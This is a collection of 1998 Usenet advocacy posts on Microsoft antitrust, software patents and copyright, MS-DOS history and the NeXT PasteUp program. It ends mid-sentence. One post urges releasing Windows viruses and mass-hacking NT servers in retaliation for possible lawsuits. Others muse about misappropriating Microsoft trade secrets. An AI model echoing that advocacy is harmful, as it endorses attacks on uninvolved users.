Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <look-ya02408000R0811981243050001@news>
References: <71kj6v$f4j@shelob.afs.com> <71sgds$gdb@netaxs.com><1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca> <721abe$1hm@netaxs.com> <722qu7$prf$1@oak.prod.itd.earthlink.net>
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Date: Sun, 08 Nov 1998 17:43:05 GMT
NNTP-Posting-Date: Sun, 08 Nov 1998 09:43:05 PDT
Organization: @Home Network
In article <722qu7$prf$1@oak.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>"Steven M. Scharf" <scharf@grin.net> wrote:
>
>>I thought it was totally crass of Microsoft when they tried to
>>co-opt the 'Palm' name and call the PDAs with WinCE, Palm PCs.
>
>No one cares!
Wrong, the courts did, and forced M$ to change their
designed-to-confuse-the-consumer-into-buying-our-crappy-PDA-when-they-really-
want-a-Pilot product nomenclature.
~Philly
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
Michael J. Stango --who is known as 'mjstango' at his ISP, 'home.com'
"Remember, there's no problem so complex it can't be solved by killing
everyone even remotely associated with it."
-- ljd, Scorched Earth Party
From: look@my.sig (Michael J. Stango)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <look-ya02408000R0811981249070001@news>
References: <364295A3.ABE8C927@earthlink.net><36431F72.69E04A89@NOSPAMworldnet.att.net><yl3u30ch3rl.fsf@shell8.ba.best.com><19981106200355201439@pm2-2-04.aug.com> <722rgo$qa2$1@oak.prod.itd.earthlink.net>
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Date: Sun, 08 Nov 1998 17:49:07 GMT
NNTP-Posting-Date: Sun, 08 Nov 1998 09:49:07 PDT
Organization: @Home Network
In article <722rgo$qa2$1@oak.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>nojunkhattonr@aug.com (Rick) wrote:
>
>>There is the possibility that MS can be broken up into distinct
>>companies, complete with different boards. That might dent their
>>dominance.
>
>Why?
Because if their applications company is completely and totally separate
from their OS company, their applications will no longer be able to take
advantage of new OS features before their competitors' can.
Therefore, the playing field will be leveled and someone might be able to
beat M$ Applications to market with a superior product.
~Philly
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
Michael J. Stango --who is known as 'mjstango' at his ISP, 'home.com'
"Macintosh users swear by their machines. Windows users swear *at*
their machines."
Message-ID: <36493710.E6588BA1@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy>
<36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
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<727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com>
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NNTP-Posting-Date: Wed, 11 Nov 1998 02:01:02 EDT
Date: Tue, 10 Nov 1998 23:04:48 -0800
Rex Riley wrote:
<<<< snip >>>>
* ... this was Demo'd to Boston Computer Society Fall of
* 1992. It blew everyone in the room away. The shipping
* product short the cool demo stuff, PasteUp shipped with
* Rulers for the early adopters. Not there somebody (fond
* memory failing...) told me that the font stuff couldn't
* ship for licensing problems with Adobe.
You have not described what the 'Font Stuff' was . . .
* If you were in the code, it was demo'd with splines on
* all the fonts. Grab any letter and contort it to your
* hearts content. PasteUp, the demo, allowed complete
* access to everything you could see & touch ± right down
* to the font level. It was so cool.
I worked on PasteUp right through Fall Seybold 1992, and I
have no memory of any of the super-cool technology of which
you write. Sorry, this is one of those incredible
disconnects --- what you are describing is a completely
different product from the PasteUp I worked on, and I know
damned well that RightBrain didn't have the engineering
resources to work on a completely different and parallel
product, and at the same time keep it a complete secret to
the extent that I [sitting twenty feet away from Glenn] was
not aware of the existence of this top-secret cool project.
Disclaimer --- due to health-related problems, I was [in
retrospect] certifiably insane during the summer and
autumn of 1992 when I was working at RightBrain. My
esteemed colleague Greg Anderson can probably attest to
that, given he's seen the code I cranked out in that era,
including creating all the multi-column layout code in a
single day.
I gave some thought to the effects you described, and I
believe that what you saw and are now describing were the
scale and skew effects that you can apply to a text block
[and in fact any graphical object at all] in PasteUp. In
PasteUp, any given object --- including text blocks --- can
be stretched, rotated, and skewed, in any arbitrary fashion,
as long as it's a PostScript affine transform. That is, you
can grab a text container and stretch or skew it in both x
and y to obtain weird effects. You could rotate the container
to any angle and still edit up the angle at any arbitrary
rotation. These effects were mind-blowing to the Great
Unwashed Masses who had never seen an app based on DPS. To us
PostScript hackers, all this was just run of the mill
application of PostScript transformation matrices, all of
which Glenn and I knew very well.
I created most of the PasteUp code that deals with text in
arbitrary transformations flowing around any old object. And
I broke the conceptual logjam in the ability to edit text at
arbitrary transformations. And I already [some time ago]
apologised to Greg for his inheriting proof-of-concept code
masquerading as production quality code.
I write this message --- not to assert any kind of
ascendance in ability -- but to try to tell you what I
actually worked on and what I did. Greg and I have already
had discussions on the quality [or lack thereof] of my
personal contributions to PasteUp.
* I think the font stuff was from TouchType (fond
* memory returning...), that was why PasteUp couldn't
* repackage the technology.
To the very best of my knowledge, there was nothing in either
TouchType nor PasteUp that mucked with the internals of Adobe
fonts in any manner such that Adobe would have got their
corporate knickers in a twist. Just about any transformation
you could want to do with text could be accomplished handily
with regular old PostScript affine transforms.
The stuff to which you keep alluding --- namely mucking
with the internals of the fonts themselves --- was in my
not so humble opinion just not happening at RightBrain any
time in the 1991-1992 era. And to think that such a
leap could have been made in the single month after I
left RightBrain definitely strains one's credulity.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
Message-ID: <3649A58E.A3BE88BC@ieee.org>
Date: Wed, 11 Nov 1998 07:56:14 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net>
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Sheldon Gartner wrote:
> >People say that the old IBM anti-trust case was dropped because it was
> >a bad case. No: the DOJ was on the verge of victory--it was dropped
> >because of the ideology of the Reagan administration. Justice is a
> >branch of the executive.
I would rather suggest that it was that they finally got their own
(former outside counsel I believe) in as the top guy at Antitrust
at the DOJ. The DOJ attorneys at the at the time thought that they
had a much better case against IBM than AT&T (much more predatory
behavior if nothing else), yet the IBM case was immediately dropped
by the Reagan DOJ, while the AT&T was pursued for a bit more until
a settlement was reached breaking up the company. Of course, this may
be sour grapes, coming from DOJ attys who were on the IBM case at
the time.
> That's exactly what I'm afraid of...that by 2001 the case will still
> be dragging and George W. Bush, helped by the Y2K Bug Recession will
> come in and kill it.
>
> M$ then uses its patents and copyright stuff to fully hamper Linux at
> every turn.
Again, the sky-is-falling attitude without much basis in fact.
Compared to any number of other companies out there, Microsoft
has a fairly weak patent portfolio. One problem with patent
portfolios is that they take quite a bit of time to develop,
and Microsoft seemed to not take them very seriously until
they lost that case to Stac. Microsoft is still not that agressive
getting software patents. If you want to be scared about someone
with an overwhelming software patent portfolio and a willingness
to use it, think of the color blue.
As for copyrights, first they don't protect ideas, algorithms,
or the like. As importantly, Microsoft prevailed in a case by
Apple that seriously cut into (IMHO) their own copyright rights.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: robinson@next532-2.gsfc.nasa.gov (Scott Robinson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: 11 Nov 1998 14:51:04 GMT
Organization: NASA Goddard Space Flight Center -- Greenbelt, Maryland USA
Message-ID: <72c88o$n8n@post.gsfc.nasa.gov>
References: <728729$2gl$1@news.xmission.com>
Don Yacktman writes
>
> I went and scanned the ad and you can see it for yourself at:
>
> http://www.of.org/pu.jpg
>
Many thanx! It makes great wallpaper on my 'doze machine...
--
J. Scott Robinson / Computer Sciences Corp / (301)286-0934
EMail: james.s.robinson.1@gsfc.nasa.gov
Time flies like an arrow. Fruit flies like a banana...
Message-ID: <3649A302.6BE65FF5@ieee.org>
Date: Wed, 11 Nov 1998 07:45:22 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <3648598C.5F2@xixaxsxtxaxtxex.xexdxu> <36493904.EE30DDDA@ix.netcom.com>
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Karsten M. Self wrote:
>
> Jonathan wrote:
>
> I think you've misread the article. The lawyer, Jerry Davis (counsel
> for Linux International, BTW), was discussing copyright, not patent.
> The full quote is:
>
> > According to Davis, although a copyright gives the owner exclusive
> > rights to the way in which an idea is expressed, like source code,
> > a fundamental concept of intellectual-property law is that no one
> > owns an idea. And Microsoft has borrowed plenty of ideas in the past.
If this was the Jerry Davis of Monterey, he is a legend in the field.
We hired him as an expert in copyright maybe six years ago. He has
been around the West Coast almost forever, long enough to apparently
represent DR in their abortive negotiations with IBM all those years ago.
He was also at some time back there working to legally reverse engineer
the Mac OS. So, he has been around and at the center of the action
for a long, long time.
Though Jerry Davis is not a patent attorney (I believe), I have no
doubt that he knows the difference between what is patentable and
what is copyrightable. More likely, something taken out of context.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Wed, 11 Nov 1998 10:03:04 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <72c8vb$9u2@shelob.afs.com>
References: <728729$2gl$1@news.xmission.com> <72c88o$n8n@post.gsfc.nasa.gov>
Scott Robinson wrote in message <72c88o$n8n@post.gsfc.nasa.gov>...
>Don Yacktman writes
>>
>> I went and scanned the ad and you can see it for yourself at:
>> http://www.of.org/pu.jpg
>
>Many thanx! It makes great wallpaper on my 'doze machine...
That's too funny. I did exactly the same thing on my laptop.
Greg
Message-ID: <3649AA3E.FC70F6B4@ieee.org>
Date: Wed, 11 Nov 1998 08:16:14 -0700
From: Bruce Hayden <bhayden@ieee.org>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! Pro-Linux people propagating anti-Linux FUD
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <729lc5$hnd$1@nnrp1.dejanews.com>
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brlewis@my-dejanews.com wrote:
> Don't say that without explicitly stating that proprietary code has the same
> potential vulnerability as OSS code. Any code can become a victim of that
> abomination called "software patents".
Well, not really. First, code for the most part needs to be new
to become such a victim. Patents must be novel and nonobvious
at the time of filing. Existing code at that point will usually
make any such claims anticipated (i.e. not novel).
Secondly, most of what you dig out of text books is probably ok.
Anything that you dig out of older text books and articles is
most likely ok.
If you really have questions about your code, and whether or not
you should really be concerned, instead of idle speculation,
consult with a licensed patent attorney or agent who is experienced
in this area. Used to be hard to find the relevant experience.
Much less so today.
--
--------------------------------------------------------------------
The preceding was not a legal opinion, and is not my employer's.
Original portions Copyright 1998 Bruce E. Hayden,all rights reserved
My work may be copied in whole or part, with proper attribution,
as long as the copying is not for commercial gain.
--------------------------------------------------------------------
Bruce E. Hayden bhayden@acm.org
Phoenix, Arizona bhayden@ieee.org
===now operational again============>bhayden@copatlaw.com
From: Stephen Edwards <ja207030@primenet.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 11 Nov 1998 15:28:52 GMT
Organization: Anamorphic 3-D Graphics Inc.
Message-ID: <72cafk$osn$1@nnrp02.primenet.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net>
<36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com> <3648eb07.518540652@news.monmouth.com>
Wilbur Streett <WStreett@shell.monmouth.com> wrote:
: Stephen Edwards <ja207030@primenet.com> wrote:
: I'm sorry that you don't understand the nature of the market back then.
I'm sorry, but I do, since I grew up in that time period.
: Yes, it was a hobbiest market, mostly because you had to hand assemble the
: machine yourself at the beginning. The engineers that created the PC were
: from the culture, or do you think that they were mainframe hardware jocks?
The people who created the IBM PC were IBMers, so yes, they were
"mainframe jocks". Until IBM came alone, there was no "standard".
: The "validation" of the marketplace for Personal Computers by IBM entering
: the market was a given, and there were a few companies already in the game
: when IBM came along. There were already several trade journals, and I
: happened to be reading all of them at the time. The "Personal Computer"
: wasn't created in response to Apple. I don't know where you think that
: yoiu got this "information" but it's obviously quite wrong.
: >WTH is Tim Jennings?...
: I believe that's the name of the guy that did the port, on his own, of CPM
: to run on the X86 card that ran in a CPM machine at Seattle computers.
: It's been more than a decade, and I don't much feel like digging up the
: references..
No... as I stated previously, it was
vvvvvvvvvvvvv
: >No. It was Tim Patterson of Seattle Computer Products, who created the
^^^^^^^^^^^^^
*sigh* some people can't even be spoonfed the truth. :b
: >Microsoft also produced their own version of DOS called MS-DOS, to run on
: >the PC clones that they hoped would come into existence... in short, the
: >whole thing was a huge gamble for Microsoft. But they were clever, and
: >because of the clone-makers, Microsoft is on top today.
: There were two licenses involved.. a preliminary one that allowed Gates to
: demonstrate it to IBM, and a final one which gave him what he thought was
: universal rights. That's the basis of the later suit.
: There was no gamble, Gates had the deal signed when he purchased the full
: rights.
Your perception of what happened is quite wobberjawed.
Check the URL that was posted by another. Robert Cringely gives a highly
detailed account, including interviews with the people "who were there".
: >Where have you kids been gettin' your history?
: Why don't you read a couple books and stop claiming that you know the
: history? Start with the Manes biography of Gates..
I've done my reading... you've been skimming the pages too much.
[] Footnote server is currently down...
--
.-----.
|[_] :| Stephen S. Edwards II | http://www.primenet.com/~rakmount
| = :| Support the shareware authors... register your software!
| | Please send all flames, trolls, and complaints to /dev/toilet.
|_..._| LUSER: I have a problem. ADMIN: Keep talking... I'm reloading.
From: Jonathan <jxoxnxvxwxixlxlx@xixaxsxtxaxtxex.xexdxu>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 09:11:50 -0600
Organization: Iowa State University
Message-ID: <3649A936.2E90@xixaxsxtxaxtxex.xexdxu>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <3648598C.5F2@xixaxsxtxaxtxex.xexdxu> <36493904.EE30DDDA@ix.netcom.com>
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Karsten M. Self wrote:
>
> Jonathan wrote:
> >
> > Karsten M. Self wrote:
> >
> > > Further, patent infringement applies equally to manufacture, sale, or
> > > use. Your example of moving devlopment offshore would help software
> > > developers, but would do nothing to protect the interests of US-based
> > > vendors or users of potentially infringing software. As is pointed out
> > > elsewhere, this could have a negative affect on adoption.
> > >
> > > Patent infringement is not specific to use, even less so to specific
> > > software packages.
> >
> > But according to an IP law firm quoted in a New York Times article
> > (http://www.nytimes.com/techweb/TW_Microsoft_Saw_Linux_As_Copyright_Threat.html),
> > it IS specific to implementation. Noone owns an idea, only its
> > expression (i.e. source code).
>
> I think you've misread the article. The lawyer, Jerry Davis (counsel
> for Linux International, BTW), was discussing copyright, not patent.
> The full quote is:
>
> > According to Davis, although a copyright gives the owner exclusive
> > rights to the way in which an idea is expressed, like source code,
> > a fundamental concept of intellectual-property law is that no one
> > owns an idea. And Microsoft has borrowed plenty of ideas in the past.
>
> Frankly, IMO the article itself has mangled the law a bit. I believe a
> more accurate statement is that "no one can own an idea, copyright
> protects expression of an idea (but not the idea itself), and a patent
> can protect an application of an idea". I doubt Davis expressed himself
> quite as loosely as the article implies.
>
Thanks for the clarification -- I did indeed miss the difference you
pointed out. I did agree with Davis' assessment earlier in the article,
regardless -- that Microsoft attacking Linux legally could backfire into
a public-relations fiasco.
I'd be interested in seeing more information along these lines. For
instance, could Microsoft sue Linux because it could read a file format
or execute some other function, even 'though the Linux source code were
completely different from Microsoft's own implementation? Just what
issues are we talking about here?
Regards,
Jonathan
From: Richard Knechtel <uce@ftc.gov>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 10 Nov 1998 13:13:04 -0800
Organization: The Truth is a Virus!!!
Message-ID: <3648AC60.4344@ftc.gov>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <slrn747tqv.o5s.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
>
> On Thu, 05 Nov 1998 19:39:26 -0800, John Rudd <jrudd@cygnus.com> wrote:
> :Lets explore the issue a little further..
> :
> :
> :lets say MS finds a patent issue to cause commercial distributors (redhat,
> :caldera, even walnut creek) to cease their linux business.
>
> The actual people who wrote various parts of the kernel or other
> software are quite identifiable. Microsoft could personally sue them
> and probably ruin many of them, and get a restraining order preventing
> them from doing any more work with the infringing software.
>
> They could sue any company which deployed Linux in large quantities,
> and they could sue VA Research, and they could threaten to sue any big
> PC company which dared license Linux, except IBM, which has a broad
> cross-patent agreement with Microsoft. (IBM might turn out be the
> only company able to distribute a patent-infringing Linux, oddly
> enough).
>
> Microsoft would certainly generate great ill will, but that hasn't
> ever stopped them before.
Well, I think if M$ EVER actually went through this, and started these
types of actions. I think at that point the best defense would be a good
offense. What do I suggest? Something so diabolicly evil that most
wouldn't go for it. Simple release so many windows viruses that the
virus dectors coudln't keep up. Encourage as many people as possible to
mass hack NT nervers on the net or on dial ups. I think that would be
the one of the only defenses. "but your punishing the users," HELL YES!
they are the ones supporting M$ with their $$$$$$$.
The only other defense would be to have Linus and the other developers
immidately distuibute as many copies of source as they could and take
Linux develoment underground. How could M$ stop that?
Since Linux is not an commercial OS and doesn't have any real 'money"
backing it. How could it be defeneded in an M$ lawsuit situation?
At this point "we" have to get as large an install base as possible. The
more installs in business, homes that are out there the more of an
outcry would come. heck I do linux installs for anyone that I know when
they ask me to.
Also do more rally's like the Silicone valley users group did. Also get
in with a local Linux users group and advertise Linux install parties.
Get a hold of a large room, set up a bunch of Linux machines and show
off what the OS can do. Then offer to install Linux on peoples machines
right there. Our local group does install parties every spring. Even if
only 10 new installs are done we see that as 10 less windows users.
Just my thoughts, good and bad.
RK.
(ps. don't even talk sh** about the headers. yes this was posted under
winows (durring my lunch hour at work))
Message-ID: <3649C384.DEE7E7E1@voy.net>
From: Corey Winesett <winesett@voy.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Linux Apps on OSX
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NNTP-Posting-Date: Wed, 11 Nov 1998 12:13:42 EDT
Organization: ISPNews http://ispnews.com
Date: Wed, 11 Nov 1998 12:04:04 -0500
After reading about the possible death of Wordperfect for the Mac, I
wondered about the possibility of the Linux version being ported to
OSX's BSD layer. Is this likely?
How different are the various Unixes? Can this type of port be done
easily?
If so, is WP really dying on Mac or will it just be one of the first
major application suites available for MacOSX?
For anti-MS types, this could be enough of a reason to upgrade alone;)
Corey
A poor uninformed poweruser wannabe.
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 16:58:58 +0000
Organization: Self Analysis
Message-ID: <3649C252.2B159F1A@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3646A021.162FC622@ix.netcom.com> <qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz> <3647E15E.7A2232BA@ix.netcom.com> <3648598C.5F2@xixaxsxtxaxtxex.xexdxu> <36493904.EE30DDDA@ix.netcom.com> <3649A936.2E90@xixaxsxtxaxtxex.xexdxu>
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Jonathan wrote:
> I'd be interested in seeing more information along these lines. For
> instance, could Microsoft sue Linux because it could read a file format
> or execute some other function, even 'though the Linux source code were
> completely different from Microsoft's own implementation? Just what
> issues are we talking about here?
You'd have to get a lawyer's opinion, this isn't one.
My understanding is that protocols cannot be meaninfully copyrighted --
the *text* describing a protocol can be copyrighted, but the protocol
itself (the idea) cannot.
Whether or not a protocol itself can be patented, I don't know.
Methods of arriving at a protocol can be patented, as in the GIF image
format (depends on LZW compression) or the current M3 audio format.
It's the method required to generate the end-product, however, and
not the end-product itself which are protected, AFAIK. Note that LZW
patents cover compression but not decompression -- this is why gzip is
able to read, though not write, 'compress' (LZW) produced zip files.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
8:51am up 4 days, 1:05, 3 users, load average: 0.27, 0.30, 0.21
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 09 Nov 1998 08:09:37 +0000
Organization: Self Analysis
Message-ID: <3646A341.3AEEE7A4@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <3645B2FC.14A8E781@ieee.org> <72558i$46l$1@samba.rahul.net>
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Rahul Dhesi wrote:
> Microsoft might even be vulnerable, if somebody patents something that
> Microsoft is already using in its own software as a trade secret.
>
> The following, while illegal, could have interesting consequences:
>
> Programmer reverse-engineers Microsoft software. Finds an unpublished
> idea essential to Microsoft software. Gets patent claiming to be
> inventor.
Now *that* introduces all sorts of interesting possibilities. Suppose a
non-US based Linux development team were to aquire undocumented
Microsoft APIs which are unpublished and unpatented, from a hypothetical
disgruntled former MS employee (options under water?). Foreign patents
are filed on the work. Much international litigation follows.
Probably not legal. Can someone refresh me on what non-inventor
capacity to file patents on inventions might be in major software
patenting nations? To what extent does trade secrets law (state
jurisdiction in the US, IIRC) apply to international theft /
misappropriation of trade secrets.
Sounds to me as if MS might not want to loosen its source code controls
too terribly much without thinking this problem through. Even if the
law is on their side, competitive advantage will likely not be.
--
Karsten M. Self (kmself@ix.netcom.com)
What part of "Gestalt" don't you understand?
Welchen Teil von "Gestalt" verstehen Sie nicht?
web: http://www.netcom.com/~kmself
SAS/Linux: http://www.netcom.com/~kmself/SAS/SAS4Linux.html
12:01am up 1 day, 16:15, 3 users, load average: 0.07, 0.17, 0.17
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: History white-out... (was Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Wed, 11 Nov 1998 17:49:00 GMT
Organization: Monmouth Internet
Message-ID: <3649cccf.7814957@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org> <3645c232.311367632@news.monmouth.com> <724tp9$fpi$1@52-a-usw.rb1.blv.nwnexus.net> <36474763.411112238@news.monmouth.com> <727kst$rj6@shelob.afs.com> <3648abc2.502343982@news.monmouth.com> <72abh1$9e8$1@nnrp02.primenet.com> <3648eb07.518540652@news.monmouth.com> <72cafk$osn$1@nnrp02.primenet.com>
Stephen Edwards <ja207030@primenet.com> wrote:
>The people who created the IBM PC were IBMers, so yes, they were
>"mainframe jocks". Until IBM came alone, there was no "standard".
CPM was the existing standard.. and no, IBM didn't have the mainframe
engineers stop what they were doing to make the IBM PC. The guys where
hardware engineers, and they had already made other Personal Computers
inside IBM. DataMaster comes to mind.. it used APL.
>*sigh* some people can't even be spoonfed the truth. :b
And some people think that a trivial fact is relevent enough to be rude to
other people.
>: >Microsoft also produced their own version of DOS called MS-DOS, to run on
>: >the PC clones that they hoped would come into existence... in short, the
>: >whole thing was a huge gamble for Microsoft. But they were clever, and
>: >because of the clone-makers, Microsoft is on top today.
>
>: There were two licenses involved.. a preliminary one that allowed Gates to
>: demonstrate it to IBM, and a final one which gave him what he thought was
>: universal rights. That's the basis of the later suit.
>
>: There was no gamble, Gates had the deal signed when he purchased the full
>: rights.
>
>Your perception of what happened is quite wobberjawed.
More personal attacks..
>Check the URL that was posted by another. Robert Cringely gives a highly
>detailed account, including interviews with the people "who were there".
I have Cringely's books.. but he's not gospel.
>: >Where have you kids been gettin' your history?
>
>: Why don't you read a couple books and stop claiming that you know the
>: history? Start with the Manes biography of Gates..
>
>I've done my reading... you've been skimming the pages too much.
Yeah, more personal attacks..
It was two deals, I was totally pissed when I found out that he had made no
"visionary" investment, that it was entirely pragmatic and IBM had already
signed on. I had hoped that people that would be leading the game might
have integrity and ethics.. Gates proved otherwise pretty early on. Or do
you think that Patterson sued because Gates played straight with him?
Wilbur
From: "Karsten M. Self" <kmself@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Mon, 09 Nov 1998 07:56:17 +0000
Organization: Self Analysis
Message-ID: <3646A021.162FC622@ix.netcom.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
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Bruce Hayden wrote:
>
> Jonathan W Hendry wrote:
>
> > The problem is it wouldn't just be Microsoft's patents being
> > violated. If Microsoft goes after Linux for patent violations,
> > other patent violations would likely be brought to light, and
> > their holders would join Microsoft in or file their own cases.
>
> I think that this is a strawman argument. You are inventing
> trouble here just to make a point.
The trouble that the individual inventor can make for even a Fortune 100
company should be very familiar to Mr. Hayden, from his days at Motorola
and his dealings with the Lemelson patents.
It's possible that Bruce intended that third parties would act on their
own behalf rather than being prompted to follow Microsoft's lead.
Frankly, I find this argument thin. While individual developers might
not offer much in terms of recover, market-protecting action could
